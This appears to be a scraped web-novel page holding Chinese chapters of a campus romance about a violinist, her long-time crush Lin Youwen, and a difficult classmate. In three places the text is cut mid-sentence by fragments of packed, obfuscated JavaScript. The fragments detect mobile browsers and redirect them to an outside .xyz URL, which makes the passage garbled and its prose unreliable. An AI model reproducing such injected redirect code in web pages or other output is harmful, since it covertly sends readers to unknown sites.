付潇潇认为她是形式主义,不止是付潇潇,连带许多学生也或明或暗地表示过此类不满,但孟若作为专业老师,更相信勤能补拙、精益求精的道理。 孟若是个非常好的育人者,擅用“惩治改正”四个字,但相比严厉惩罚作为过程,她更在意“改正”的结果。让学生得知后果的严重性后再给予新的机会。 当付潇潇诚心认错,孟若还是让她回到原本的位置上了。 笛袖当了一回工具人。可能多少出于弥补的心情,以及缓解这段时间缺席,导致合唱团内部一些人的不满,付潇潇很大方地请了大家喝下午茶。 一群人争相分奶茶甜品,边感慨大小姐果然财大气粗。 笛袖没去凑这个热闹,她坐在角落一把三角矮椅上,专心给琴弦上松香,增大琴弓与弦的摩擦,好让拉出的声音更清晰明亮。付潇潇远远瞧见她的身影,灵机一动,拎着两杯不同的奶茶走过去。 “打扰一下。” 付潇潇展示手上的物品,问:“姜茶,还是果汁?” 笛袖刚好擦拭完松香,停顿下动作,将小提琴搁至回琴盒,没拒绝来自付潇潇的好意,选择其中一杯。 “姜茶吧,谢谢。” 递过来时,付潇潇盈盈纤细的腕间折射一抹亮闪,表身在灯光下散发莹泽,表面玻璃呈圆润的鹅蛋形,白色贝母表盘上代表“6”和“12”的罗马数字形状拉长优美。 这个独家设计,明眼人一眼能看出是宝玑的那不勒斯王后系列,价格最低的款式售价都在10w以上。 而付潇潇手上这支,笛袖在母亲季女士的配饰间看到过,定价至少24w起步。 “不客气,是我男朋友点的,你要谢就谢他。”付潇潇玩笑着,说:“不过可惜他听不到。” 笛袖接过姜茶,眼神在玫瑰金表带上停留几秒,随后夸赞:“很漂亮的手表。” 她夸人的语气一向真诚,听着不像敷衍,而是切实感受般,有种令人信服的力量。 付潇潇莞尔,“我也觉得。” 回手时,右手指腹轻抚过腕间,肢体语言暗含珍重和喜爱。 “是你自己买的,还是别人送的。” “这么贵的手表我可买不起。”付潇潇竟半点不做作,实话实说:“这是他为了让我答应陪他出去旅游,收买我的礼物。” 笛袖点了点头。 看来凌毓她们说的不错,付潇潇男友确实舍得为她花钱,连给女友和身边人点下午茶都能安排上,看来不止有钱有颜,还有闲。 这两天相处熟了些,笛袖发现付潇潇快人快语,是个全凭心情做事的主,和这样直率的人相处其实并不费劲,她不想搭理人的时候话都懒得说,高兴起来心底话直往外吐,任性,但不专横。 这不由让笛袖感到费解,照付潇潇的性情,只是稍有些娇纵,本性还算好相与,何至于风评偏向一边倒? “加个好友呗。” 之前数次交谈,付潇潇都没有提过,语气细听之下,有丝异样,潜意思更像是发出邀请:要不要交个朋友。 笛袖故意愣了下,“什么?” “我能加下你的微信吗?” 大小姐只保持一秒矜持,便重新采取回最常用的直白说法。 “晚点有些事找你聊。” 付潇潇犹豫片刻,道:“是正事,挺重要的。” 笛袖颔首:“行啊。” “我扫你。” 付潇潇扫了她的二维码,搜索弹出一个账号,名字是英文昵称。 “Mirilla,是你吗?” 笛袖嗯了声,这是她的英文名。 付潇潇加到笛袖微信,下意识点进她的朋友圈。 笛袖一看就是很少分享生活的人,要么简短的一句话,或者搭配寥寥几张照片,有风景、美食图,人像的只有侧脸或背影,模糊到分不出是谁。 频率大致按月左右,不定时更新,没多久划到底。 付潇潇边看边出奇,“你怎么一张正脸照都没有?” “我不喜欢拍照。” 这倒奇怪,哪有美女不喜欢分享自拍的?好比付潇潇自己,她每隔一周更新一条动态,评论区全是夸夸贴贴比心,看着心情就舒服愉快。 哪怕换作其他人,再低调不至于一张都不发吧,要是没备注,连是谁的朋友圈都认不出来,迎着付潇潇好奇的目光,笛袖给出解释:“我不上镜,拍出来脸的角度会奇怪。” 话音刚落,付潇潇手指点两下屏幕。 …… 虽然没有声响但笛袖莫名感觉不妙,抬手夺过手机。 付潇潇躲开,刹那间还是被笛袖瞧见手机拍摄界面。 “你干嘛?” “你上来抢我手机想干嘛。”恶人先告状。 笛袖:“删掉。” “不会啊,明明很上镜。”付潇潇绕过笛袖伸出的手边看照片,这是一张新鲜出炉的正脸照。“多好看呐。” “你没经过我允许知不知道。” “那你可以拍回我,我不介意。”付潇潇说:“这样咱俩扯平了。” “谁要你的照片。” 笛袖被这人厚脸皮气笑,重申一遍:“删掉,立刻!” “就不删。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15826126|175530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “那我只能拉黑你了。” 付潇潇笑,笑得从容淡定,“威胁我?你觉得我是被吓大的吗。” “……” “保留一天。” 笛袖表情渐渐有沉下来的预兆,她见好就收,“只一天而已,别这么小气嘛。” 正好外头有人叫她,付潇潇应了声,施然收手机转出门去。 平白被摆了一道,笛袖真是气得想发笑。付潇潇胡搅蛮缠,连带着把她也给降智了,竟是争执些有的没的。 点的奶茶甜品很快席卷而空,没来得及回来的朋友都帮忙留了杯。简佳妮进门时,下午茶已经分光了,大家唯独不小心漏了她。 这便显得有些尴尬了。 凌毓最热心肠,率先扬声问起其他人:“有没有人多拿了的,这里还缺了一份。” 简佳妮连忙摆了摆手,阻止她道:“不用,没事的。你们自己喝吧。” “那怎么行。” 凌毓说:“付潇潇说好每人一份,只有你没拿到多亏呀。是有谁多拿了还是外卖送少了,也得弄清楚吧。” “再说了,大小姐现在钱包鼓,她都不在意这点小钱,你替人家省什么?” 简佳妮越听,愈发为难道:“真的不用了。” “我不渴。” 凌毓觉得简佳妮行为别扭,平时不太乐意和这种人打交道,扭扭捏捏得没必要,倒像是自己强逼着她似的。 扫兴地撇了撇嘴,语气不复先前热情:“这有什么好尴尬的。” 笛袖眼见她们争执不下,拿起付潇潇刚给自己的那杯姜茶,“佳妮,你喝我的吧。” “我不太爱喝热的,这杯是热饮,刚好想着送人。”她柔声说:“既然你没拿到,喝这杯就行。” 简佳妮这回没纠结太久,最后接受了。 她和笛袖的交情始于演出服破损时借的那件外套。事后她还衣服,笛袖正好在学校食堂吃晚饭,她看到自己有点惊讶,因为约定的时间是下次排练她却提前了。 临走前,笛袖将桌上一瓶未拆封的酸奶送她,意思是辛苦她专程跑一趟。 简佳妮以为这个行为可能是笛袖顺手的习惯之一,一般她不想喝,或者随手想送人点什么东西时,这个最方便不过。 “那谢谢你了。”简佳妮低声说。 笛袖弯了弯唇,她在人群里看见孟若,寻过去找到她,“老师,你有时间吗,我想问一下。” “是有关林有文的。” “嗯?怎么了。”孟若诧异,“你们合奏练得怎么样了?” 林有文时间不好约,不可能每次彩排都让他到现场来。孟若也没有这个打算,只是时不时问下笛袖,了解他们的配合进度,知道一切向好的态势发展,便安心不再多问了。 这份放心,不止是对笛袖,更是对林有文。 孟若相信林有文的人品,他应允的事情总会办到。 “还好,目前没遇到什么问题。” “老师,我想知道他回校看望陈教授的时候,你们是在聊什么,怎么恰好提到调整节目的事情?” 孟若一时没意料,“怎么突然想起问这个。” “因为我听他家里人说,他那天原定行程是回家,他父母接到消息后都已经等着了。”笛袖自然地编话道:“我是有些奇怪,他为什么会临时改了决定。” 那天下午林有文的出现是个巧合,他探望恩师,偶然与孟若碰面,恰好为她解决掉一桩烦恼,顺理成章成为自己的演出搭档。 一切进展都十分顺利,似乎合情合理。 笛袖先前不曾深究过,可自那晚从他同学的口中得到证实的间接表白,让她意识到可能错过的不止这个。 也许,那次巧合并不是意外呢? 12. 预演12 “调整节目不是我主动提的。” 孟若道:“说实话,我一开始也没想会找他,那天我去院长办公室时,他们在里面已经谈到这个话题,院长和有文说到今年小提琴专业录取生源没有往年好,我才想到你的事。” “不过至于他们为什么会聊到这上面,以及按你说的,他改变行程计划,我就不太清楚了。” 说完孟若逐渐回味过来,有些纳闷——林有文又不是弦乐专业,院长提起这届小提琴学生水平如何,和他有什么关系呢。 听完后,笛袖心中疑团解开大半。 漂浮不定的心思忽然安定下来,踩到结实平地。 上松香时手指不小心沾了点,她去卫生间洗手的路上,却撞见付潇潇将简佳妮堵在角落。 对方瑟缩着靠在墙角,无助又茫然,怯怯地望着付潇潇,手里握着她送的那杯姜汁奶茶。 笛袖目光凝住。 付潇潇将带着余温的姜茶抽出,看了眼瓶身,确认没冤枉她。 “这是谁的?” 秾艳精致的面孔漫不经心笑,“我不给你,你就敢偷拿别人的吗?” “偷、窃、癖。” 一字一顿,敲定一桩罪行。 付潇潇冷眼看面前人柔弱无助的可怜模样:“装无辜。” “……” 简佳妮如同被逼到尽头的受惊小鹿,支吾不出一句,眼圈默默泛起红晕。 见到几滴泪水滑落,付潇潇不为所动。 “很烦看到你这个样子。” 声音轻且佻,像飘在空中一缕游线。 大小姐语气凉飕飕:“掉眼泪有用吗,算是你的独门秘笈?” “是我拿给她的。” 在付潇潇说出更刻薄的话之前,笛袖出声:“分完最后少了一杯,刚好我不是很想喝,顺便送给她了。” 忽然冒出个人解围,不亚于天降神兵。简佳妮立即将求救般目光投过来,笛袖没和她对视,看着懒懒转过身,没有半点被撞破现场而产生丝毫慌张心虚的付潇潇,温声说:“她没有偷东西。事实经过就是这样,有什么问题么?” “有。” 付潇潇不按常理出牌。 “我特意给你,你转头就送人。”她反问:“同学,这不礼貌吧。” “是有点。”笛袖坦诚应下,“你在意的话,下次换我请回你,一杯奶茶而已,没必要太上纲上线。” 末尾那一句话,同时点了两件事,指向她们三个人。 方才照片的事笛袖揭过去了,同样希望付潇潇不要过分计较。 付潇潇听出言下之意。 她也不含糊,拎清自己重点对谁,问简佳妮:“你要喝吗?” 对方果断摇头。 “你看。”付潇潇唇角慢慢弯起,和笛袖说道:“她不要,好心白费了。” 那杯热姜茶精准投进墙角垃圾桶,重物坠落一声“哐当”响,砸得心头微微发颤。 “问题解决了。” 付潇潇拍了拍手上不存在的灰,挑刺意味更浓。原本身高相差无几,付潇潇一双匀称修长的腿踏着高跟及膝长靴,出挑身形便比笛袖越出半个头,气势极盛,表现具备攻击性的一面。笛袖言语护着简佳妮,付潇潇也不拦,只说一句:“少借花献佛……” 笛袖静而不语。 简佳妮直直盯着,在付潇潇回视的一刻悄然错开。 付潇潇似笑非笑,就知道她没胆明面较量,“有人不会领情。” 轻描淡写处理掉这个口角纠纷,付潇潇抽身离去,余下双方短暂沉默。 最先还是笛袖打破僵局,“你们之前有过节?” 明眼人都看得出,只是杯奶茶不止于此。 出言解围,更多是因为这件事牵涉到她,不能被付潇潇当作冷嘲和攻击她人的把柄。 “发生过一些事。” 简佳妮抿唇,片刻后才说:“你应该知道我和她是宿友,住同一个宿舍,可能……是性格合不来吧,造成挺多矛盾。” “有次她摆在桌上的化妆品摔到地上,因为没关窗,风打在窗帘卷了下来。” “我关好窗才收拾完地板,她一进门看到我站在她桌子前,觉得是我偷用她的东西,才会打碎。” “我们衣柜并在一起,丢过几件衣服,学校的猫从阳台溜进来,叼了衣服去做窝,宿管阿姨提醒以后要关好柜门,但她不信猫能爬这么高,说是有人故意偷走了。” “同寝室只有我和她两个人,这话分明是说给我听。” 笛袖闻言了然。 “所以,刚才她会这么——” 简佳妮欲言又止。 “……我一紧张说话就乱,解释不清楚,她又特别急性子的一个人,根本听不进去。” 简佳妮说的只是诱因,类似的事远不止这一两件。观念先入为主,当再发生类似的事情时,不管有没有都会往那个方向设想。 积重难返,偏见越来越深。 “之后付潇潇搬出去住了,她家在本地,我也不清楚她没来排练的日子在不在校。” 难怪。 最初笛袖碰见她衣服损坏,来不及回去换的情况下,正常人下意识反应都是找同寝宿友帮忙送过来,简佳妮却是提也没提过。 · 随着校庆日越近,彩排频率从每周两回提高至隔天一次。 自被孟老师身体力行“警告”过一番后,付潇潇变得规矩多了,起码态度放端正,排练次数回回不落。 然而她待得时间越长,另一个原本安静到没有存在感的人愈加边缘化。 似乎为了不让付潇潇有发难的机会,简佳妮要么躲着,要么在与之碰面的时候,选择机敏地跟着笛袖身边。 像是把叶笛袖当成一把保护伞,专挡付潇潇这个阴晴不定的“暴君”。 明面上,付潇潇没有当众苛难过简佳妮,当空气般不存在,她们恩怨只放在私下,要不是笛袖那次偶然撞见,多半和其他人一样,单纯以为她俩不熟而已。 简佳妮黏她得紧,笛袖并不习惯。 这点不是特定对谁,哪怕和她关系最好的关悠然,都会注重彼此私人空间。 简佳妮自然而然地凑上来,笛袖有意疏远一些,但转念一想,考虑到对方敏感多思的性格,又只能作罢。 仔细算来,她做了两三次救场,简佳妮对她产生好感也是常态。 笛袖遂由着她去,总之至多两周,校庆结束后,她们不会再有更多交集。而那时简佳妮和付潇潇不像现在低头不见抬头见,用不着时刻提防。 · 午后,休息时间。 为了缓解日日操练的嗓子,指挥给合唱队的男女生发了清凉的润喉糖。 见者有份,笛袖拉小提琴不用动嗓,但在边上还是连带分到一颗。 她有些发困,正好吃颗含薄荷成分的糖提神。 坐旁边的简佳妮瞧见,转身不知从哪掏出一大把润喉作用的糖,从不同包装上看起码有五六种口味,多到笛袖愣了下。 “你要薄荷糖吗,我这还有。” 她是演话剧的,常备有清嗓的东西,可以说最不缺。 这么主动,拒绝就显得不礼貌了。 笛袖挑了一个蓝底印着青柠图案的压片糖果,说声“谢谢”。 简佳妮赧然一笑。 笛袖含着糖,手机发出震动声,时隔三天接到林有文的消息,还没点进去,光看到弹出的微信提示框那刻怔住,失神咔嘣糖咬碎成糖粉。 清凉感散入喉腔间。 …… 点开,笛袖快速扫两眼内容,霍然起身。 “我出去一下。” “哦……好。” 数日内杳无音讯。他们默契相互不联系,直到一方做出决定。 此刻林有文人直接出现在礼堂入口,站在拱形门廊尽头。 笛袖朝他走近。 她一直向着林有文所在的地方走,不停靠近,生怕慢下一步便永远落下。放弃大多数女孩在感情中表现的矜持、腼腆,步步为营。 “不进来吗?”笛袖问道。 为什么停留在门口。 林有文怕麻烦,进去后还要和孟若打声招呼。他只为她来,说几句话。 “不了。” “等会要去机场,在江宁呆得太久,再不回去家里人该有意见。”他说:“放心,校庆前我会过来,陪你一起演出。” 笛袖轻点头,他回国后在江宁一连住半个月,连家都没回过一趟,是有些不像话。 “你早该回去了。” “这次到南浦,回家后我会去见你父亲。”林有文话锋一转。 他着意强调:“第一时间上门拜访。” 笛袖听得微讶,隐约摸到这句话下的含义。 “我想和他女儿谈恋爱,应该告知一声征求他的同意。哲哲,你觉得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15826127|175530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呢?”林有文询问道。 “至于我的父母,他们的态度一定是赞成。” “这……” 诧异和惊喜来得太直接猛烈,将思考的船只打翻。 笛袖喃喃无言。 她的情绪此刻全写在脸上,林有文的感觉更加错综复杂。 林有文很早知道她对自己的感情不同寻常。 他对恋爱需求一向薄弱,但在情感中并不迟钝,甚至称得上敏锐。上学时能轻易看透女生们的想法,她们的喜欢太直白浅显,总是让他一眼发现。 不出意外,林有文同样察觉到身边多出的一道异样目光。 可那又能怎么样。 他年长那个女孩四岁,在成年人的世界里,四岁的年龄差距不算大,可对于青春期的孩子而言,思想上的意识宛如鸿沟。 他无法接受,只能装作视而不见,把她当作妹妹呵护。 然而林有文没想到,在日复一日的照顾下,他的感情不知何时发生变质,不再纯粹,尤其当笛袖成年之后,她不再甘于两人间的这种既亲近,又时刻保持距离的关系,林有文无法虚伪地自欺,他确实产生了喜欢的情愫。 那种情感异于自诩为哥哥对妹妹的偏爱、疼护。 而是作为一个成熟男人,被异性的吸引沦陷。 笛袖略微迟疑,但抬眼触及林有文从容平和的目光,似乎允许她所有作为。 无论是情理之内,还是多么出格。 忍不住遵循本心上前拥住,双臂环住他紧实的腰。 第一次清醒时,靠得如此亲密。 林有文毫不犹豫回抱住她。温暖怀抱瞬间治愈了这些年的孤独等待。 “先不要告诉爸爸。” 她如释重负,止不住笑意,“我答应过,如果谈恋爱了会亲口告诉他。” 林有文品出些不寻常的意思,“这么快接受了?” “你来之前,我就有过一定猜想。” “我问过孟老师,那天做我的演奏搭档参加演出,是你间接提出来的。”笛袖闷闷说:“其实她忙得快忘了这件事,是你的出现后恰好提醒到,才让她记起来。” “你一早就想好要来陪我。那天听到我准备校庆表演,你一点都不惊讶,连一句关心也没有。” “我当时都没察觉出来……”笛袖声音越说越轻。 林有文摸了摸她的头,无声承认。 早在第一次茶餐厅见面,看到她背上的小提琴,林有文已然有了主意。 ——他会以合乎情理的方式,在那天出现,不会错过她的首次登台演出。 为何那天在孟若面前,林有文装作两人不认识的样子——正如不想被笛袖发现那样,他同样不想让孟若察觉,这个安排吻合他的心意。 在旁观者的视角,他只不过顺手帮了个忙而已,要配合的那个人是她还是别人都没有区别。 明明在意,却又不直接表现。拐着弯地借用“顺便”的名头,达成真正目的。 一切想通之后,笛袖不再抱有任何怀疑:“所以从来,都不是我一个人陷进去。” “不是。”他第一次回答得这么确凿。 “什么时候的事。”她问,“发现我喜欢你,以及什么时候对我——” “追究这个没有意义。”林有文道。 笛袖抢声:“可我想知道。” “那应该在两年前。” 这个在笛袖预想之中,毕业那年林有文在表白墙留下她的名字,至少在那之前已经存了特殊的心思。 “具体到某一刻的话……实在分不清。” 林有文颇为无奈叹气,“我不能往太久以前想。” 对一个小女孩动心,有违他所受的教育,像个衣冠禽兽。 笛袖失笑,“你也只比我大四岁。” “而我喜欢你,” 她顿了顿,“快有七年。” 没有诉苦的意思。藏在心底太久的话终有机会讲出来时,口吻平淡也会泛起苦涩,在嘴边微妙停滞。 “对不起。”林有文低低说道。 他辜负了这个小女孩这么久。 “不,我等你多久都愿意。”笛袖将额头抵在他的肩膀上,很长时间都难平复心情。 她早就被这么长时间的等待磨尽了棱角和期待,喜欢他追逐他仿佛已经成了本能,她试着去接受可能没有任何回应的结果,然而今天这一切,让她恍若置身梦境。 13. 预演13 他们贴得很近,近到鼻尖萦绕对方气息。 林有文闻到她唇间清冽的味道。 “你吃了什么?” “润喉糖。” “要吗?”她展开手心躺着的一颗糖。 林有文拿了,但没吃。算接下她的心意。 “马上要走了么。” 她有些不舍:“几点的飞机?” 问清具体时间,他解释:“机票是提前一周订的,已经通知过家里,不方便改签。” 笛袖点点头。 她没有纠结太多,“替我同伯父伯母问声好,就说我一直记挂他们。” “我讲没有可信度,得他们亲眼见到你才算好。” 笛袖被逗笑,没谈之前不知道他这么会说。 真的很舍不得,想多再看几眼,他牵着她的手,说完告别也不放。 安静抱了会儿,笛袖松开点距离,趁还有时间想和他再说几句。 却不料林有文先一步抬眸,视线落向她的后方。 简佳妮突然出现在过道尽头,她望着不远处相拥的年轻男女,刹那间神情浮现意外。 当着外人的面,笛袖顷刻回神。 她定了定心,恢复往常的冷静自若。 简佳妮明显像是来找她,笛袖过去后,她探了探头,看着斜靠在门沿,被阳光扑洒的林有文,忍不住小声问:“他是谁?” 那天看电影的女生里没有她,凌毓玩得好的那帮人里不包含简佳妮,她对林有文完全陌生。 笛袖没作回答,“找我做什么?” “你有带数据线吗,我手机快没电了。”简佳妮手机电量显示只剩3%的电。 笛袖:“在我包里。” 私人物品被其他人翻动不好,笛袖回看林有文。他接触到视线后,“你回去吧。我待会就走。” 林有文还要去机场乘坐到南浦的航班,不会久留。 笛袖估摸她折返时间不够,眼下提前就要分别。 “路上小心。”笛袖轻轻说道。 走近身前,眼前是他胸前衣衫的纽扣,“到了记得回复一下。” “好。” 和以往分别时不一样,林有文亲吻了她的额头。 · 从江宁到南浦坐飞机两小时,傍晚前林有文抵达南浦,到家时和她发过消息。 经年不见,林家夫妇和儿子难得团聚,高兴得不知成什么样。家人围在身边,体验到久违的温馨,林有文陪伴父母顾不上每条及时回复,笛袖理解,也留出空间让他们叙旧。 刚确定下情侣,本该有说不完的话倾诉,但碍于人情,两人简单聊过一会儿,只能约定晚上睡前独处再联系。 笛袖收起手机,准备和关悠然吃晚饭,去上今天最后一节课。 等晚课结束,回到家将近九点。 入户灯亮起,映照出家具统一的黑桃木色系。 低饱和度颜色庄重典雅,木质感赋予结实沉静的舒适感,墙漆米白明亮,进门一盏黄铜吊灯,复古又美观。 这是笛袖搬进来不到三个月的新家。 季女士把这套市值千万的房屋送给女儿,除了水电、墙体吊顶等基础的硬装修完善,剩余部分全部由笛袖自己决定。 小区地价环境好,户型设计也很宜居,南北通透,视野开阔。 结构三室一厅,主卧是她在用,面积大到塞得进浴室、首饰柜、衣帽间和梳妆台外,还能开辟出一个小型起居室,当作卧室内客厅使用,布置了沙发枕垫和茶几。 另外两个没人住的房间,分别该做成书房和画室。 忙了一整天,又是排练又是上课,身体有些疲累,笛袖回家后稍坐会儿,才捡起睡衣去浴室洗澡。 洗完后躺在卧室床上,给爸爸打了电话。 …… 十几秒提示音后,电话接通了。 “哲哲。” 笛袖嗯了下,喊声:“爸爸。” 叶父语气和煦。 “这么晚了,还不睡觉吗?” “就准备睡。”笛袖提前预测到会有这一问,顺势翻了个身,由平躺改成侧卧,床被面料发出细索的擦响,“已经躺床上了。” 叶父心情不错,他所求不多,每隔一星期女儿往家里打回电话就够了。孩子长大后都不喜欢家长管得太严,成天过问这个那个招人嫌,适当保持距离有助于亲子关系和谐。 何况笛袖出奇明事理,她行事有主见,几乎没有留给父母操心的余地。 在某些时候,懂事到甚至……让作父亲的感到心疼。 闲谈一会儿,叶父说到林有文回家的事,多年邻里间没有秘密。可以说林有文前脚进家门,他后脚便能从家里保姆那闻讯。 叶父知道两孩子感情好,顺嘴提一句,并没有别的意思。 偏偏无心插柳,笛袖听到后,借机说要不要她也回去。 “你要回家?” 父亲微愣几秒,“有什么事情吗。” “没有啊,我不是挺长时间没回去看您。” 开学后忙于校庆排练,周末抽不出空,上个月国庆放假叶父出差到外地,参加病例交流讨论会,父女俩刚好错开了。 差不多三个月没看望父亲,以往不会隔得这么久,笛袖本来也打算校庆后就挑个时间回去。 “哦,没什么事的话,最近先不用回来。” 叶父语气不自觉放松几分:“爸爸的想法是,学业要紧,不是快期中考了么?你把更多精力集中考试上,家里的事不用记挂那么多。” 父亲劝得温和,笛袖心有触动,轻应声好。 叶父接着转而问道:“你现在住哪里?听你妈妈说,你已经从学校搬出来住去她那了。” “房子是她的。” 笛袖纠正女人故意模糊的字面意思,“但我没和她住一起。” 叶父深叹一口气。 “……也好,你觉得哪里舒服最重要。爸爸和妈妈不管发生什么,哪怕离婚后,你都是我们唯一的女儿。单凭这一点,你妈妈对你好是应该的。” 他对妻子有诸多怨恨,都不曾强加到女儿身上,不愿意让孩子作为失败婚姻的承担者,在笛袖成年后才正式离婚。 这些年来季女士存有挽回的念头,但一想到那个私生子,他只剩下寒心。 笛袖正是明白父亲为自己所做的一切,才会在母亲面前硬起心肠,不肯再叫声“妈妈”。 话题至此,气氛已然变了。 心结盘固非几句可解,时间不早,父女各自道了晚安。 笛袖却没睡,她仰躺在平坦床面,许久沉静无言。 · · 没安分两天,付潇潇气势昂扬地找上门来。 笛袖事先预料到了——这件事得往更前一些提,那天加微信时,付潇潇特意交代一句: “晚点有事和你聊”。 但不知她怎么想的,加完后线上一声不吭,绕了一大圈,最后还是选择当着面对面讲。 付潇潇开门见山:“我想你陪我去一个聚会。” 笛袖觉得这话新鲜。 但凡付潇潇来之前和凌毓等人通过气,就会知道她从不受邀。 “忙,没时间。” 付潇潇柳眉一扬,驳回这个草率说辞。 “你不应该先问完一遍地点、人物、时间,再做决定?” 笛袖当作配合着走过场,问:“什么聚会什么地点什么时间?” “不是学校里的。”付潇潇坦然:“具体来说,party里的人是他的那些朋友。” 付潇潇不喜欢把男朋友三个字挂在嘴边,更多情况下,只用一个“他”字代指。 聚会人群类型不是学生,可能是和付潇潇男朋友家世差不多的男男女女,或者掺合进一些身份不明的人。 其实付潇潇甫一开口,笛袖大致明白她的意图。 选择无非那几个——学校女生们聚会请她犯不着拖上自己,和自己同伴玩没必要拉个半生不熟的人,能主动叫她去的,多半不是什么简单场合。 “为什么要我去。” “我们是朋友啊,”付潇潇晃了下手机,“好朋友陪对方一起去派对不奇怪吧。” 笛袖笑着看她,不接话。 哪有认识一个多星期的“好朋友”。 “好吧。” 付潇潇妥协道:“因为你情商高应对自如,足够漂亮,而且聪明,能够帮我套其它人的话,容我容不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“本来我不想告诉你,让你摔个跟头长长记性,但谁让我人好发善心呢。”付潇潇讲这话时眼皮子不带眨一下,“信不信随你,反正我话摆在这。” 笛袖打量她十几秒,付潇潇一副揪心样子,直觉对方不像用话套她。 “……” 细思片刻,最后选择松口。 “行,我陪你去。” · 付潇潇原身条件好,刻意打扮后更是漂亮。 浅白天蓝双拼色格纹套装,衣摆盖过膝盖下方五公分,恰好展现出笔直小腿最纤细的那部分,水手服制打底衬衣,肩挎细金属链条的小香包。 她今夜妆容完美,淡又不失精致,唇色自然,只涂了层半透明唇釉,带点晶莹的细闪,开口时让人忍不住眼神停在唇上。 付潇潇说她男朋友会来学校接。差不多到约定时间,付潇潇手机微震一下,大概是接到消息,看了眼朝笛袖说:“OK,走吧。” 校门口停着一辆跑车。 学生们路过肩擦肩暗示,车旁男生人影高瘦,穿件薄薄的黑色立领夹克,上面压着一条金属项链。他这么随意往车前一站,单凭那脸、那身材,妥妥地招异性缘。 面相风流恣意,眼睑尾微微扬起一点,像半藏半显的钩子,不着痕迹轻轻勾住思绪。 只有付潇潇这样的艳色勉强能压一压。 和笛袖想象中不太一样,对方作派张扬,以为是位眼高于顶的富家少爷,一开口却甚为斯文谦逊。 “你好,我是周晏。” 声音清冽,宛如淙淙流水。 他道:“河清海晏的那个‘晏’。” 仿佛看惯了形形色色的靓丽人物,早已稀疏平常,男生未对笛袖初见作什么反应,只当她是付潇潇提前支会一声要带去的那个朋友。 他绅士地为笛袖拉开后车门,转头时,周晏凑至付潇潇的耳畔,压低嗓音夸赞她装扮好看,有不同于往常的美丽。 一路上,周晏都很好说话,不难看得出两人在热恋,付潇潇每说一句他会接,尽管笛袖和他第一次见面,陌生人也没有冷落,聊得话题有意往平常靠拢,话语间会捎带上她。 是个情商不低的男孩子。 14. 预演14 路上不巧塞了会儿车,到了地方,聚会已经开始热场。 灯红酒绿,场面甚是喧嚣,放眼过去少说几十个人,分散着聚成数堆。 周晏就是在这时候领着女朋友露相。 他牌面不小,一出现简直像往本就滚烈的沸汤下再添一把火,响起十几道闹哄哄的声音,不论熟与不熟都与他热络招呼,衬得身旁付潇潇笑意嫣然,真是鲜花着锦之盛。 外人不清楚根底的,以为周家这代小辈不少。但实际上稍加打听,便知道周家往上一代,周晏父亲拢共只有他一个儿子。 同辈近亲里只有姑姑家的孩子,周家基业深厚,未免隔一层生分,几个表弟表妹打小随母姓,一并姓了周。 在座的人心照不宣,同样子承父业,周晏于身份上却占了天大便宜,无需经历兄弟姐妹争夺豪门家产的狗血戏码,继承人身份板上钉钉,故而面上对待起来更加特殊。 周晏没应和那群人落座,敷衍过几句,便带付潇潇先去餐吧吃点东西。 路上开到一半付潇潇就嚷饿了,周晏把这话记着,眼下笛袖却没什么胃口。 “不和我们过去吗?” 付潇潇拉住她手臂,眨了眨眼睛,说:“我可不想你第一次跟我出来就饿着肚子回去,传出去多难听。” “……” 这人直接表示关心好像会死,非得拐弯抹角,傲娇得要命。 笛袖瞥一眼几步外等候的周晏,手插裤兜斜眼看着,他没有搭腔,眉梢间暗含都是想要独处的意思。 笛袖识得看人眼色,“你俩去吧,我不方便打扰。” “吃顿晚饭而已,能妨碍得到谁?” 笛袖缓声说:“我可能有点晕车,现在没什么食欲。” 付潇潇噎了下。 “行,那你坐着喝会儿水。” “待会我给你拿几块烤面包,好歹垫一点。” · 聚会早到的那批人显然打成一片,笑闹声不断。 人生地不熟的,笛袖没急着过去扎堆,她挑了个稍微僻静的角落坐着,先大致摸清楚这里的格局。 舞台乐队正即兴表演,几首劲爆鼓燥的曲子过后,主唱切了首偏舒缓的歌,把麦款款抒情地低唱。 笛袖留意几眼,发现台上面孔似曾相熟。 脑内飞快思索过一遍,想起这是最近热门的一个组合,成员颜值高、台风稳、专业素养过硬,一经出道迅速走红,掀起轮新的偶像风靡热潮。 常驻微博热搜选手关悠然不止一次和她提到过,还拉着笛袖看过乐队拍摄的专辑MV。 他们在粉丝那享受众星捧月的待遇,却在这,在此时此刻。 成了背景板般的陪衬。 …… 当亲眼见到这群人的时候,笛袖不难明白付潇潇的顾虑。 寥寥几面,她看得出周晏对付潇潇有多上心,然而身边围绕着的是…… 在场友人肆意嬉笑,当红乐队为他们助兴,席间冒出一张张属于俊男靓女的脸——要么是初涉演艺圈的小明星,要么是活跃社交媒体,拥有一众粉丝的网红模特。 付潇潇容不进去太正常。 